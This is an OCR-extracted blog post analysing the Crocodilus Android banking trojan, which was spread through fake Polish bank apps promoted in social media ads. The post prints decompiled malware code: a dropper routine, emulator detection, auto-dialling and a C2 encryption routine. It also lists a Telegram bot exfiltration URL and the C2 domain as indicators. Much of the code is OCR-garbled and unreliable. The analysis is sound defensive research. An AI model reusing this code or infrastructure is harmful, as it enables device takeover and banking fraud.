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Following the recent campaign involving the NGate malware (my analysis is available here — link),
cybercriminals have once again exploited the branding of well-known banks to distribute malicious software
targeting Android devices. This time, the attack vector shifted to malicious advertisements on social media

platforms. These ads falsely promoted a new banking program allegedly offering attractive deposit options.
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Facebook ads impersonating a Polish banking application

The malware belongs to the Crocodilus family, which was first analyzed by ThreatFabric researchers in late
March this year. At that time, it was primarily deployed in campaigns targeting financial institutions in Spain and
Turkey. Crocodilus is equipped with capabilities for device takeover, remote access, and overlay attacks,

making it a potent threat in mobile cybercrime operations.
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Let’s move on to the high-level behavioral analysis:
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The legitimate banking app and the fake app used in the campaign.

Upon launch, the fake banking app prompts the user to allow the installation of additional applications,
disguising the process as a required Play Store update. In reality, the update installs a secondary malicious

application named “IKO Lokata”, delivered as a hidden .apk file.
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IKO Lokata

Do you want to install this app?

Cancel Install

Once permissions are granted and the IKO Lokata app is installed, it immediately requests access to Accessibility
Services — a critical step that enables the malware to gain full control over the device. Additionally, it asks for
permissions to access contacts and send notifications, expanding its ability to harvest data and interact with the

user environment.

To further deceive the user, the malware mimics yet another system update — this time posing as an update for

Google Chrome — as a way to legitimize its escalating permission requests and avoid suspicion.
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After the initial setup, the malicious app prompts the user to enter their PIN to supposedly log into the
application. Upon entering the PIN for the first time, the app displays a generic error message, claiming the PIN

is incorrect.

However, during analysis, it was observed that on the second attempt, the app presents a message stating that the
“IKO Lokata” service has been successfully activated. It further informs the user that the bank requires up to

48 hours to verify the provided information and complete the app configuration.
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This delay tactic is a classic social engineering method, aimed at:
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e Creating a false sense of legitimacy,
e Preventing the victim from becoming suspicious immediately,

e Buying time for the attacker to use the stolen credentials or access the compromised device remotely.

This behavior suggests the malware is designed not only to harvest credentials, but also to maintain persistence

while minimizing the chances of early detection.

Let’s dive deeper

The following section focuses on the technical analysis of the app.

A closer look at the app’s AndroidManifest.xml file reveals the presence of the
android.permission.REQUEST_INSTALL_PACKAGES permission. This permission allows the app to install
additional APKs programmatically, and is a strong indicator that the application is functioning as a dropper —

a component designed to deploy further stages of malware on the device.

android:targetSdkversion="35"/>»

cuses-permission android:name=_godroid INTERHET S/

<uses-permission andruid:name:fa’:r i REQUEST INSTALL_PACKAGES™/3» |
<uses-permission android:name="gndrol AT ol g o M T o
cuses-permission android:name="androl RITE_EXTERMAL_STORAGE™ />
<uses-permission android:name="andros READ _EXTERMAL_STORAGE™/>»
<uses-permission android:name="android QUERY_ALL_PACKAGES"™ />

sannliratinn

Further analysis of the code reveals references to an external .dex file, suggesting the use of dynamic code

loading, a common obfuscation and evasion technique.

private stgiir Sirins utbreak() {
return] "ablemocker.dex";

Fy

private char synopsislazily(string s)
return 5 == null || s.isEmpty(} ? 'x" : s.charat(e);

by

private boolean viewerunderrate(boolean z)
return !z;
¥

Additionally, several class declarations found in the manifest do not exist in the static contents of the original APK

package. This discrepancy implies that some components of the app are either:

e Loaded dynamically at runtime,
o Fetched from a remote source after installation,

e Or unpacked from encrypted assets bundled with the app.

These behaviors strongly indicate that the app is deliberately structured to hide malicious logic until execution,

which is a hallmark of more advanced Android malware strains.
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After installing and launching the app in an emulator, we observed that within the code_cache directory associated

with the application, a file named ablemocker.vdex appears.

The presence of a .vdex file suggests that the application makes use of pre-verified and possibly optimized
bytecode, typically generated by the Android Runtime during the installation process. VDEX files are often used
to speed up app loading times by storing verified DEX instructions, but in the context of malware, they can also

serve to obfuscate code and hinder static analysis.

Unlike regular .dex files, .vdex files may contain compressed or optimized code, and tools for their direct analysis
are limited or require additional unpacking and conversion steps. This significantly increases the complexity of
reverse engineering, and is likely an intentional measure by the attackers to delay detection and hinder malware

research.

Get mvaks’s stories in your inbox

Join Medium for free to get updates from this writer.
Remember me for faster sign in

Upon launching the application, one can observe outgoing network traffic to a Telegram channel, suggesting that

the malware uses Telegram as part of its command-and-control (C2) infrastructure.
hxxps://api.telegram.org/bot8055029511:AAH3AF978hUKj7X2]7C-Z4tuOhMDIEIFa-0/sendMessage?chat_id=75479

Further analysis shows that the code responsible for establishing the connection is present in the decrypted .dex
file. After decoding and examining the DEX content, hardcoded references to the Telegram Bot API, channel

identifiers can be found.
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Static analysis of the DEX file also reveals an interesting method used to deliver the login screen. Instead of a
native interface, the login screen is actually an HTML page presented to the user, which the authors have hidden

in the code by encoding it in base64.
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References to the dropped application, specifically iSZMv.apk, can also be observed within the code.

public final File g(} {
boolean z;
InputStream inputStreame = this.getassets().open("iszmMv.apk™);
int v = inputStreame.read();
switch(v) {
case -1: {
throw new IOException("aPKk dosyasi bos™);
1 ©

z = true;
break;

hy

case 8@: {
z = false;
break;

)
default: {

goto label 5;
1

h

try {
File file® = new File(this.getExternalfFilesDir{null), "iSZmv.apk"};
try(Filegutputstream fileputputstreamé = new Filegutputstream(fileg}) {
byte[] arr_b = new byte[exdea];
if(lz) {
fileputputsStreame.write(v);
1

while(true) {
int v1 = inputStreame.read(arr_b);

if(vl <= @) {
break;
y

if(z) {
for(int vZ = @; true; ++2) {
if(v2 »= v1) {
break;
H

arr_b[v2] = (byte)(arr_b[v2] ~ v);

Here, for the first time, we encounter code snippets written in Turkish. This observation supports the findings of
ThreatFabric researchers, who concluded that the malware is most likely developed in Turkey. Within the

application, we can also find phrases or code segments such as:
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Kullanici butona tikladr: .
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Kurulum basaril

The user clicked the button:

"Opening application” : "Starting installation”
APK file empty

Installation successful

Second stage analysis

In the case of the second application, the same operational model is employed. Within the dropped .apk file, we

can find a .dex file named jasminenacho.dex, which, as shown in the screenshot below, again appears in the form
of a .vdex file.

Within the .dex file, we can see the origin of the malware’s name — Crocodile. The name is derived from a code
snippet containing the phrase CROCODILE BOT 2025. Additionally, there are greetings to the well-known
malware researcher Lukas Stefanko embedded within the code.
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)

if(this.FecyZgWWUCspmf. cwby TCIaXSdr . equals(this. FRCyZgvRUCSpmf . ovey CVBFLCSAQEUED]) &5 QpvurxcUDoug.hFifewljAoitrhr(this)
this.GyriRIbYLSRSE. FZOEUIZqzXbSVRLL( " >3 >8TOP<<<™, "<¢ STOP CROCODILE BOT 2825 >» FUCK YOU LUCAS STEFANKO! \uDE3D\ubd
throw new arithmeticexception{"/ by zero"};

Y

if(!this.GyriRIbYLSASE. ZyhRIkess TWOWKOmMUI(this, woHOKBMFI.class)) {
Intent intente = new Intent(this, yxXfR1QutIHgw.class);
intentd.addrFlags (0x30000000) ;
this. startactivity(intente);

}

else if(this.FecyZgVnuCspmy. Cox0Zat LyvHskDUV, equals(this. FRCYyZgVUC spaf . aywycvpfL CSAQEUEDT)) |
Intent intenti = new Intent(this, LOrIaNLvIWMWFYY.class);
intentl.addrFlags(ex38002800) ;
this.startactivity(intenti);

}

Objects.requireNonNull(this.FECyZgVUCspmf) ;
if(QpvurkcuDoug. ydphabsviIFmrW(this, "BRG692414653") == null) {
this.gyriRIbYLSRSE. tRh1KhPAGIFLILYIED(this);

else {

this.GyriRIBYLSRSE. Y1q5JevimySFV(this);

i

this. pFKHZBCZCCIEUHSKOK( ) ;

this. SyriRIBYLIRSE . MUPOMKZUFK 1D { T |iapmiibiiihien
this.GyriRILYLSASE.FZOEVIZqzxXbSVhLE(">>>START<<<", "<< START CROCODILE BOT 2025 >» FUCK YOU LUCAS STEFANKD ™};

this.finish();
}

private void pFRHIBCZCCIEuHSKOK() {
DisplayMetrics displayMetricse = new DisplayMetrics();
this. getwindowManager().getbefaultbisplay().getRealMetrics(displayMetricsa);
int v = displayMetricse.widthPixels;
int vi = displayMetricse.heightrixels;
QPVUrKGUDOUE QPVUrXEUDOUE? = this.GyriRIbYLSASE;
Objects.requireNoniull(this. FECYZgviiCspmi) ;
qpvirXsubougs. eeCpplcFEvVRuHRe (this, "wWD7AC563bmE39", String.valuedf(v)});
QPVUrXeUDoug gpVUrXGUDougl = this.GyriRIbYLSRSE;
Objects.requireMoniull(this . FECYZgVALICSpmf) ;
GPVUrXCUDOUg1 . eeCpplCFEVRUMRC (this, "S574135209M", String.valuedf(vl));

It can also be observed that the application was designed to support multiple language versions.

Press enter or click to view image in full size

static {

Hash¥ap hashMape = new Hashwap();
evpaybavM. broguHl viexLkkeUnne = hashMape;

hashMape. put{“tr",
hashiapd. put(“en”,
hashMape. put("fr",
hash¥ape. put(“de”,
hashMape.put(“es”,
hash¥ap@. put{"it",
hash¥apd. put{“ru”,
hashMaps.put{“zh",
hashMap@.put(”ja",
hashsape. put(“ka",
hashMape. put{“ar",
hash¥ape.put({“hi”,
hashMape. put{"pt",
hashsape. put{“pl”,
hashwape.put(“nl”,
hash¥ape. put{”sv",
hashMape.put("fi”,
hashiape. put{“da”,
hash¥apd. put{“el”,
hashMapd. put(“he",
hasheaps. put(“th”,
hashMap@. put(“vi”,
hashMape.put(“id",
hashwape.put( =s”,
hash¥ape. put(“cs”,
hashMape. put{“hu",
hash¥ape. put{“ra”,
hashwape. put{“bg",
hashMape. put{“hr",
hashsapd. put(“uk",
hashape. put("sk”,
hash¥apd.put(”s1l”,
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"LudsDa\ udSES\uashe \uesDa\ul5SE4A\UASES\WASER \UaSEA\ua5D2 \ua5Da\ ud5ES\ uaSD5E\Ua5sEA");
"“TusaddiagmniseunisiadnasT)

"Wui long bat tinh ndng trg nang");

"Harap aktifkan aksesibilitas®™);

"sila aktifkan kebolehcapaian™});

"pavolte prosim piistupnost™);

“kérem, engedélyerze ar akaddlymentességet™);
“W& rugdm sd activati accesibilitatea™);
"mons, aKTHBMpaliTe AoCcTeOMOCTTA")}

“molimo omoguite pristupafnost™);

"Byab nacka, yeimxnive pocTynHicre"):
"prosim, povolte pristupnost™);

"prosimo, omogofite dostopnost™);

evgaYbAVM. gL BHCGFFXgnb = “Chrome 2.8.4 Update”;
evgaYbave, EZYHIMINIEn ik Qymm = "hitp://rentvillcr. homes”;
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The application offers a wide range of functionalities, one of which is the ability to detect whether it is running in

an emulated environment.
Press enter or click to view image in full size

public static boolean hFIFEMITADLITARP{Context contexte) {
boolean z1;

z = Settings.clobal.getInt{contexte. getContentResolver(), “"adb_enabled”, @) == 1j
BRAND. toLowerCase() ;
= Build.MANUFACTURER. tolowercase();
§2 = Build.MODEL.toLowercasa();
.comtains{“emulator®) || s.contains{"generic*} || s.contains(“android®};
151, contains("genymotion™) & [51.Contains("nox") && !51.contains("virtusl™) &8 !s2.comtains{"sandbox™) * = || 21 : true;

catch{Exception exceptione) {

The malware includes automatic call initiation, potentially allowing attackers to place phone calls without user

interaction.

Press enter or click to view image in full size

public static void BAIjaiRAXIQuE(Cortext comtextd, String s) {
{

String 51 = Lri.encode(s);

frtent inkentd o new Intent("android. intent.action CawL”™};

Antente, setData(Ur L. parsel (QpVUrksUDoGg  FECYZHNUICSpmS | BIZORRASSVIVEXLE + 310005

ntento., setf Jags (010000000 |

contexte, startActivity(intental;

REVUPREUD0LE - ROCEERRMT0] G [CONTRATD, GRVUTRID0UE- FRCY IV AT apRIRPAL fipE, TRIATT A0 T e 5 e QEUUPNGUDOLE- FRCY QWA Raf. rTTaN OOV

catchiixception mxceptiond) {
wxceptiond.printStackTracel);
GENUTEGUDoUE RO EKWMI00] G CONTENTE, QEVUFKGUDOUR. FRCYIQVNUCSoRF eRRgPPAEftEE, TIR(1IT): " e gXoeRTione, gETMEsSIgE() ¢ QPVURDRUOCUR. FRCHIGVIUC DS FETaRFIBOGTAQLIU 1

The malware communicates with a command-and-control (C2) server, the address of which is embedded within
the .dex file.

Press enter or click to view image in full size

public void tRIKhPAGIFIIVIGIN Content contextd] |
this.cctpplciEvhmic{contextd, {pirXGooug. FECyTqwmx spaf. KTRCIrbCagECe 3, QpiUriSUbOuE. FaCy gt spaf. yumat pdayhFir);

U5 reguirencanu] 1(GEvuraGDsg W:gmlﬂﬂ

this #eCpPICFEVERHRE (Context®, “EAGAIILIAGEI", “ERRORIE);

this.eefpploFEvitRE{CoNtExte, QEulUrXE.0OUE-FECYZFNUC oS, £2) grogarAsiT, QPr REUDCUR . FECYZGUNLE SDaf AL pEOYURFH)

this.eeCppICF EvRanRC (CoNTexte, QpuurnSLCoup . FECYTFWNUCSonf. ATLEOENUTAUTONAGY, QEVUraGUOmug . FECy TV spaf. cympevafLCsAQiulall )

lﬁll.HCWH‘E\.‘W(C{M!HI“, DU NEDG UL FECH TN TR, GSVES FUSpRRY, QENRIDOG. FRDY IV BT . Cian v f LTAQEAES )5

this.eeCppIcFEVARSRELCONTERtE, QRVUrNELOTUE.FECYTFMICEPnf , MIERAIESAUREESY, QeVUrIELOSUE. FBCYEGYMICSpmy. B f rRQuCLELVER )3

this.esCpplcFEviukRe (Conterts, (pulrHE0OUR.FECYIFAUE somf, ULTL debuS QG PEgL, (EVUrNGLDOUE. FECKTGVNUCSDaf . yanA LodtyithFa] |

This $ECPRICFEVELHRC[LONTENTR, QRUUFNGUOUR- FECYIPNC R, JINpLuseaariane, QRUUPKELDOUR- FECRIPVAIC S, yuna L pooy i)

this.eeCppleFEvassRE (tontextl, QEWUrNEUCOUE . FECYIEYNUC semf STRMTRG L ghASSG, Grivurmcloog. ratynws_u-f.ﬂrulms

this.eelpploFEvinsRc (contextd, QpilrNGU0oug.FECYIFWUCsomf, ralePowsle Iy, QoiUrKEUDoug. FECyZgWWLCsonf  widnd LpGOYURFH] §

this . e2CppdoF EviohRe [Contetl, GUroUtoug. FBCpIgm: AR OGNSIGEYRSTRE, QEVUrKELDOUE fuy?gmsmf ¥ LEEy IR |

this.eeCppicrEvRcHne (ConTente, QUUrNGUCRUE. FECYISY T, RUPRITAEFBGOFfoR, QEVUFNGUDOUE. FRCIIgVRVCSpEF. mwuwumlu . uﬂl‘rl-ll &d. hastarger. LQOPESKed., FTPSCPIPIET ™) ;

this.eCppleFEvRRHRE (Contentd, QpWirNGU0ouE. FECYIEMULC spmf, TEXELEREGHIANIT, Qp'Ur KELDOUE. FCKIGYNIC Spe  MEGIDS vemlitkim « Telephony.5=s, getDefoultSnsrackipe [Contextl). tastring(1);

this.eefpploF EvistRe (contextl, QriUrXGU00UE.FECYTRWIUC soaf . guT L fbdatin, QorKGUDouE . FECYZgWWLEspaf  HeQTbg suemliiion) |

this.eeCppicd Evianic (contextd, Gpaurndutoup. FECYIpug soaf. gl feeanr FAANOS T, Quwuraiuboug FECyIguacspaf nedThasvenlriin) @

this . €eCHRICFEVFRMRL (EONTENTD, QENUrKGUOUL-FECYIIMK Ipay ATYOMTOTINPYNTA, (EVUCNGUOOUE. FECHTIVWICIpaT  HAQIEGS resLiikia) s

this.eeCppleFEvRuHRE (tontext®, (oWUrdEL0GUE.FECYIRAUConS, SaXFRoiedurifL, GovirXGUDoug . FRCYZEMUCE e vl LOGIVURFH)

this_eefpplok Evibonitc {contextl, Spuirdiboug. FECYIGAE somf AEjuRpPekTiTell, Qpiuriilioug. FECYIGAML e, zymruwmqmjﬁm

This ECPRILFEVRLRL [L0ATENTR, QRVUPNGUDGUR. FRCHIZVAUC T28f. JTEOTPAagRaea), COVUFrTGUD . FRCY IQVNLC S DEF oAl PODyLWEN)

this.eeCppIeFEvRRHRE(Contentl, DPVUrNGUCoUE. FECPIEVMAC fomr  (FCCFRELCER LT, QeVUrNEouE. FRCHIEYWUIC Spmf . yrd Lol v F)

this.eelpploFEvimhRc{contextl, QplriS 0oug. FECYIFML rom gilriL el Edlly, QphUriEDoug. FRCyZG M somy. yhndl DBl URFN)

this.2CppIoFEvRahRC (LoNtexte, QRuuUrnOLCouR . FECYIFWWUC Saaf. XalnaxessgrS, QEVratudcug. FESyIguaLesaf. Al paoyunin] ;

Hhis EeCPPICEEVERHREEENeRtR, DTNGIORUE FECTTIN IonF U‘aﬂ"c{n » QEVTRRRGE, PR Spar na L pea

this.eeCppleFEviatRe (contextld, JoWlrdBU0oug. FECy I s

this.e2CpploF EvRUHRC (CoNtexte, (RAUrRELCTUR. FECYIFC s, mwznwwm*p,l nt!p-.n’.frrrtv:ncr.nmu:ll.

Example of communication with the C2 server:

Press enter or click to view image in full size
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To understand and subsequently decrypt the communication, it is necessary to examine the encryption function.

package unrelated.hamburger. ipXUukTHKT;

import
import java.
import
import javax.
import javas
import

public abstract class veTpkgltd {
static evgavbavM FBCYZGVNUCSDMS;

static {
VeTpkgltd. FECYZgWNUCSpmf = new evgaYbAvM();

public static String cT&YWIolReye(String s, String s1) {

try {
1sonobject jSOMObject® = new JSOMObject(s);

g s2 = J50MObjectd.getString(veTpkqltd. FECYZgVNLICSpmyf. tEPITZHCIUSE) ;
g 53 = jsomobjecte.getstring(veTpkqltd. FRCYZgWNUCSpmf . cSElomxbaviHLGAQ) ;
string s4 = new String(Bas decode(s2, 2});
String s5 = new String(Basesd.decode(s3, 2)});
string s6 = new StringBuilder(s4}.reverse().tostring();
string 57 = new StringBuilder(ss).reverse().tostring(});
String s8 = new String(Basecd.decode(ss, 2));
string 59 = new String(Basees.decode(s?, 2));

byte[] arr_b = Basecs.decode(ss, 2);

byte[] arr_bl = Basess.decode(ss, 2);

Cipher cipher® = Cipher.getInstance("AEs/CBC/PKCSSPadding™);

ciphere.init(2, new secretkeyspec(sl.getBytes(), "4ES"), new IvParameterspec(arr_bil});
return new String(cipher8.doFinal(arr_b}};

catch(Exception exceptione) {
throw new RuntimeException(“Error 2", exceptione};

¥

by

public static String pGlylYsKecZrB(String s, String s1) {
try {

Cipher cipher® = Cipher.getInstance("AES/CBC/PKCSSPadding™);
Secretkeyspec secretkeySpec® = new SecretkeySpec(sl.getBytes(), "AES");
byte[] arr_b = new byte[1&];

new SecureRandom().nextBytes(arr_b);

BT N R o SR i SEIN N SN S T

The function takes arguments from two variables, carFileDoesnt and miniature, both of which are visible in the

network communication screenshot. It then performs a series of transformations:

e Decodes base64,
e Reverses the byte order,
e Performs another round of base64 decoding,

o Followed by a final base64 decode, which is then used as the key or input for AES decryption.

A Python script was written to replicate these steps, resulting in the decrypted output. Some fields within the

output have been intentionally or redacted by me :-).

{"action":"hidden:)",
"deviceID":"{hidden:)}",
"(01039058573": "hidden: )",
"localeCode":"us",

"phoneTag":"ik-X",

"phoneBuild":"13",

"phoneModel": "Genymobile Google Pixel",
"phoneCarrier":"Android",
"0K20XS190129C": 100,

Page 14 of 15



https://medium.com/@mvaks/bombardino-crocodilo-in-poland-analysis-of-iko-lokaty-m obile-malware-campaign-502bd7494 73

"screenModes": 1,
"TRCR19390CFX92":"hidden:)",
"D7W8S5X9X6X3X5z":"1",

"PAOLAMDORARIS": "http:\/\/rentvillcr.homes",
"CZK98TRUMS9P": 1,

"ER9PERM291Z":1,

"S9F7563214582B":"0",

"KL87TRKLX21":"0"}

Summary

Described mobile malware campaign leverages fake banking applications distributed via malicious social media
ads, continuing the abuse of legitimate bank brands. The malware, identified as part of the Crocodilus family,
includes advanced capabilities such as device takeover, overlay attacks, and emulator detection. It uses
obfuscation techniques like base64-encoded HTML for login overlays and .vdex -wrapped .dex files to hinder
analysis. The malware communicates with a traditional command-and-control (C2) server, with the address
embedded directly in the DEX file and traffic encrypted using layered base64 and AES. Static artifacts, such as
Turkish language strings and embedded developer messages, suggest the malware originates from Turkey,

aligning with previous findings by ThreatFabric.

10Cs:

IKO Lokata purge.tremble 689579531a417b84ddbceb17c75d3c39
IKO Lokata unrelated.hamburger e7551da@dbe@5ccel1d4bf3aed16bb15

C2:

hxxps://api.telegram.org/bot8055029511:AAH3AF978hUKj7X237C-Z4tuOhMDIEIFa-o/sendMessage?chat_id=75479
hxxp://rentvillcr.homes

Source: https://medium.com/@mvaks/bombardino-crocodilo-in-poland-analysis-of-iko-lokaty-mobile-malware-campaign-502bd74947{3
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